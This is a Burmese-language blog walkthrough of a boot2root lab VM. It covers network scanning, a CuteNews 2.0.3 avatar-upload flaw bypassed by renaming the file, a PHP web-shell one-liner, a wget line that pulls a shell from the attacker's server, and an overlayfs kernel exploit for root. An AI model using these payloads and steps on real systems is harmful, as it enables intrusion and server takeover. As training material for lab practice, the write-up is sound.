Boot2Root VM ကို ဒီမွာ download ဆြဲလို႕ရပါတယ္။
လုပ္ရမွာကေတာ့ Web Application ကေန Root Access ရတဲ့ထိလုပ္ရမွာျဖစ္ပါတယ္။
ပထမဆံုးေတာ့ VM ရဲ႕ IP ကိုသိရဖို႕အတြက္ netdiscover နဲ႕ scan ဖတ္လိုက္ပါတယ္။
netdiscover -i wlan0 -r 192.168.0.0/24

IP သိရျပီဆိုရင္ေတာ့ ဘာ OS လဲ ဘယ္ port ေတြပြင့္ေနလဲဆိုတာသိရဖိုကအတြက္ nmap နဲ႕ scan လိုက္ပါမယ္။
nmap -sS -sV -O <ip>

port 80 ပြင့္ေနတာကိုေတြ႕ရပါတယ္။ port 80 က http ရဲ႕ port ျဖစ္ပါတယ္။ ျပီးေတာ့ ဒီ VM ကလဲ Web Based ဆိုေတာ့
http://<ip> လို႕ေခၚၾကည့္တဲ့အခ်ိန္မွာ CuteNews v.2.0.3 ကိုသံုးထားတာေတြ႕ရပါတယ္။ CuteNews v.2.0.3 မွာ File Upload Vulnerability ရွိပါတယ္။ https://www.exploit-db.com/exploits/37474/
Exploit Information
# Exploit :
Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal
1 - Sign up for New User
2 - Log In
3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal
4 - Select Upload Avatar Example: Evil.jpg
5 - use tamper data & Rename File Evil.jpg to Evil.php
<?php system($_GET[‘cmd’]; ?> ဆိုတဲ့ PHP RCE code ကို luna.jpg နဲ႕ save လိုက္ပါတယ္။
Temper Data ကိုသံုးျပီးေတာ့ Upload Validation ကို bypass လုပ္လိုက္ရင္ရပါျပီ။ ဒီေတာ့ jpg ဆိုတာကို php extension ျပန္ေျပာင္းမယ္ Content-Type ကေတာ့ Image ဆိုေတာ့ Validation ကို pass ျဖစ္သြားပါလိမ့္မယ္။
ဒီလိုဆိုက်ေနာ္တို႕ RCE file ေလးကိုျပန္ေခၚၾကည့္မယ္။ အလုပ္လုပ္လားမလုပ္လားေပါ့။
ခုဆိုရင္ ပထမတစ္ပိုင္းေတာ့ျပီးျပီ Web Shell တင္လို႕ရျပီ။ ဒါေပမယ့္ root access ရတဲ့အထိဆိုေတာ့ Web Shell တစ္ခုခုတင္လိုက္တာပိုအဆင္ေျပတာေပါ့။ ဒါေၾကာင့္ madspot shell ေလးတင္လိုက္ပါတယ္။
uploader ေတြဘာေတြမတင္ခ်င္ေတာ့လို႕ က်ေနာ္တို႕ server ဘက္မွာ Shell ကို txt file နဲ႕တင္ျပီးေတာ့ wget နဲ႕ download ဆြဲခ်လိုက္တယ္။
wget <our_server_ip>/abcd.txt -O abcd.php
တင္ျပီးျပီဆိုေတာ့ madspot shell ရျပီေပါ့။
Root လုပ္ဖို႕အတြက္ Kernel Exploit ရွိမရွိရွာရမွာျဖစ္ပါတယ္။
|
Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux |
Google မွာရွာလိုက္တဲ့အခါမွာ ေတာ့
ဒီလို ျပပါတယ္။
Overlayfs နဲ႕ ဒီ kernel ေတြမွာ root exploit ရွိတာကိုေတြ႕ရမွာပါ။
ဒီေတာ့ VM နဲ႕ က်ေနာ္တို႕ စက္ကို connect လုပ္ရမယ္။
connect ရျပီဆိုရင္ေတာ့ exploit ကို /var/www/html/uploads/ မွာ upload တင္ C file ကို Compile လုပ္ျပီး run လိုက္ရင္ root access ရသြားမွာျဖစ္ပါတယ္။
Hack the planet! တဲ့ ရသြားပါျပီ။
Thanks for Reading xD
Creatigon is website development Co.,Ltd. based in Myanmar. We services Domain,Hosting,Web Development,Design,Security and other Online Advertise Business Consultation.If you need any help and consultation feel free to ask hi@creatigon.com
No Comments